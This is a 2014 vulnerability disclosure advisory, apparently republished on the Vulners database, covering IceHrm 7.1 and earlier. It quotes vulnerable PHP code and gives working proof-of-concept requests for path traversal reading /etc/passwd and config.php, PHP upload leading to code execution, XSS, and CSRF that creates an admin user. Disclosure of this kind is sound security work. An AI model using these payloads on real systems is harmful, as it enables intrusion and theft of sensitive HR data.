Lucene search
K

IceHrm <=7.1 Multiple Vulnerabilities

🗓️ 08 Dec 2014 00:00:00Reported by Stefan PetrushevskiType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 57 Views

IceHrm <=7.1 Multiple Vulnerabilities, system access, cross-site scripting, exposure of sensitive informatio

Code
<html><body><p>IceHrm &lt;=7.1 Multiple Vulnerabilities


Vendor: IceHRM
Product web page: http://www.icehrm.com
Affected version: &lt;= 7.1


Summary: IceHrm is Human Resource Management web software
for small and medium sized organizations. The software is
written in PHP. It has community (free), commercial and
hosted (cloud) solution.

Desc: IceHrm &lt;= 7.1 suffers from multiple vulnerabilities
including Local File Inclusion, Cross-Site Scripting, Malicious
File Upload, Cross-Site Request Forgery and Code Execution.

Tested on: Apache/2.2.15 (Unix)
           PHP/5.3.3
           MySQL 5.1.73


Vulnerabilities discovered by Stefan 'sm' Petrushevski
                              @zeroscience


Advisory ID: ZSL-2014-5215
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5215.php


01.12.2014

---


1. Local File Inclusion (LFI) 
#####################################################
File: 
app/index.php

Vulnerable code:
---- snip ----
include APP_BASE_PATH.'/'.$group.'/'.$name.'/index.php';
app/?g=../&amp;n=../../../../etc/passwd%00
---- snip ----

Proof of Concept (PoC):
http://zsltest/icehrm/app/?g=../&amp;n=../../../../etc/passwd%00

Severity:  CRITICAL
#####################################################


2. Local File Inclusion (LFI)
#####################################################
File:
service.php

Vulnerable code:
---- snip ----
if($action == 'download'){
	$fileName = $_REQUEST['file'];
	$fileName = CLIENT_BASE_PATH.'data/'.$fileName;
	header('Content-Description: File Transfer');
	header('Content-Type: application/octet-stream');
	header('Content-Disposition: attachment; filename='.basename($fileName));
	header('Content-Transfer-Encoding: binary');
	header('Expires: 0');
	header('Cache-Control: must-revalidate');
	header('Pragma: public');
	header('Content-Length: ' . filesize($fileName));
	ob_clean();
	flush();
	readfile($fileName);
---- snip ----

Proof of Concept (PoC):
http://zsltest/icehrm/app/service.php?a=download&amp;file=../config.php

Severity:  CRITICAL
#####################################################


3. Malicious File Upload / Code Execution
#####################################################
File:
fileupload.php 

Vulnerable code:
---- snip ----
//Generate File Name
$saveFileName = $_POST['file_name'];
if(empty($saveFileName) || $saveFileName == "_NEW_"){
	$saveFileName = microtime();
	$saveFileName = str_replace(".", "-", $saveFileName);	
}

$file = new File();
$file-&gt;Load("name = ?",array($saveFileName));

// list of valid extensions, ex. array("jpeg", "xml", "bmp")

$allowedExtensions = explode(',', "csv,doc,xls,docx,xlsx,txt,ppt,pptx,rtf,pdf,xml,jpg,bmp,gif,png,jpeg");
// max file size in bytes
$sizeLimit =MAX_FILE_SIZE_KB * 1024;
$uploader = new qqFileUploader($allowedExtensions, $sizeLimit);
$result = $uploader-&gt;handleUpload(CLIENT_BASE_PATH.'data/',$saveFileName);
// to pass data through iframe you will need to encode all html tags

if($result['success'] == 1){
	$file-&gt;name = $saveFileName;
	$file-&gt;filename = $result['filename'];
	$file-&gt;employee = $_POST['user']=="_NONE_"?null:$_POST['user'];
	$file-&gt;file_group = $_POST['file_group'];
	$file-&gt;Save();
	$result['data'] = CLIENT_BASE_URL.'data/'.$result['filename'];
	$result['data'] .= "|".$saveFileName;
	$result['data'] .= "|".$file-&gt;id;
}
---- snip ----

Proof of Concept (PoC) method:
1. Change the 'file_name' request parameter in desired filename. The file will be saved in 'data' folder.
Example: file_name = dsadsa.php ==will be saved in==&gt; data/dsadsa.php.txt
2. Create a malicious file (php shell) save it with .txt extension
3. Upload the malicious file (php shell) via the upload form in fileupload_page.php. The file will appear in ‘data’ folder as dsadsa.php.txt.
4. Access the file – http://zsltest/icehrm/data/dsadsa.php.txt to execute the php code.

PoC example:
1. http://zsltest/icehrm/app/fileupload_page.php?id=xxx.php&amp;msg=Upload%20Attachment&amp;file_group=EmployeeDocument&amp;file_type=all&amp;user=1
2. xxx.txt contents:
<?php phpinfo(); ?>
3. Upload the filename
4. Access the file:

Severity:  CRITICAL
#####################################################


4. Cross-Site Scripting (XSS)
#####################################################
File:
login.php

Vulnerable code:
---- snip ----
  <script type="text/javascript">
	var key = "";
  <?php if(isset($_REQUEST['key'])){?>
  	key = '<?=$_REQUEST['key']?>';
  	key = key.replace(/ /g,"+");
  <?php }?>
---- snip ----

Proof of Concept (PoC):
http://zsltest/icehrm/app/login.php?key=';</script><script>alert(‘zsl’);</script>

Severity:  MEDIUM
#####################################################


5. Cross-Site Scripting (XSS)
#####################################################
File:
fileupload_page.php

Vulnerable code:
---- snip ----
</p><div id="upload_form">
<form action="&lt;?=CLIENT_BASE_URL?&gt;fileupload.php" enctype="multipart/form-data" id="upload_data" method="post">
<input id="file_name" name="file_name" type="hidden" value="&lt;?=$_REQUEST['id']?&gt;"/>
<input id="file_group" name="file_group" type="hidden" value="&lt;?=$_REQUEST['file_group']?&gt;"/>
<input id="user" name="user" type="hidden" value="&lt;?=$_REQUEST['user']?&gt;"/>
<label id="upload_status">=$_REQUEST['msg']?&gt;</label><input id="file" name="file" onchange="if(checkFileType('file','&lt;?=$fileTypes?&gt;')){uploadfile();}" type="file"/>
…
---- snip ----

Vulnerable parameters: id, file_group, user, msg

Proof of Concept (PoC):
http://zsltest/icehrm/fileupload_page.php?id=XXXX%22%3E%3Cscript%3Ealert(‘zsl’)%3C/script%3E

Severity:  MEDIUM
#####################################################


6. Information Disclosure / Leaking Sensitive User Info
#####################################################
Users’/employees’ profile images are easily accessible in the ‘data’ folder.

Proof of Concept (PoC):
http://192.168.200.119/icehrm/app/data/profile_image_1.jpg
http://192.168.200.119/icehrm/app/data/profile_image_X.jpg &lt;- x=user id

Severity:  LOW
#####################################################


7. Cross-Site Request Forgery (CSRF)
#####################################################
All forms are vulnerable to CSRF.

Documents library:
http://localhost/icehrm/app/service.php
POST 
document=2&amp;valid_until=&amp;status=Inactive&amp;details=detailz&amp;attachment=attachment_evi4t3VuKqDfyY&amp;a=add&amp;t=EmployeeDocument

Personal info:
http://localhost/icehrm/app/service.php
GET 
t=Employee
a=ca
sa=get
mod=modules=employees
req={"map":"{\"nationality\":[\"Nationality\",\"id\",\"name\"],\"employment_status\":[\"EmploymentStatus\",\"id\",\"name\"],\"job_title\":[\"JobTitle\",\"id\",\"name\"],\"pay_grade\":[\"PayGrade\",\"id\",\"name\"],\"country\":[\"Country\",\"code\",\"name\"],\"province\":[\"Province\",\"id\",\"name\"],\"department\":[\"CompanyStructure\",\"id\",\"title\"],\"supervisor\":[\"Employee\",\"id\",\"first_name+last_name\"]}"}

Add new admin user:
http://localhost/icehrm/app/service.php
POST
username=test5&amp;email=test5%40zeroscience.mk&amp;employee=1&amp;user_level=Admin&amp;a=add&amp;t=User

Change password of user:
http://localhost/icehrm/app/service.php?
GET
t=User
a=ca
sa=changePassword
mod=admin=users
req={"id":5,"pwd":"newpass"}

Add/edit modules:
http://localhost/icehrm/app/service.php
POST
t=Module&amp;a=get&amp;sm=%7B%7D&amp;ft=&amp;ob=

Severity:  LOW
#####################################################
</form></div></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation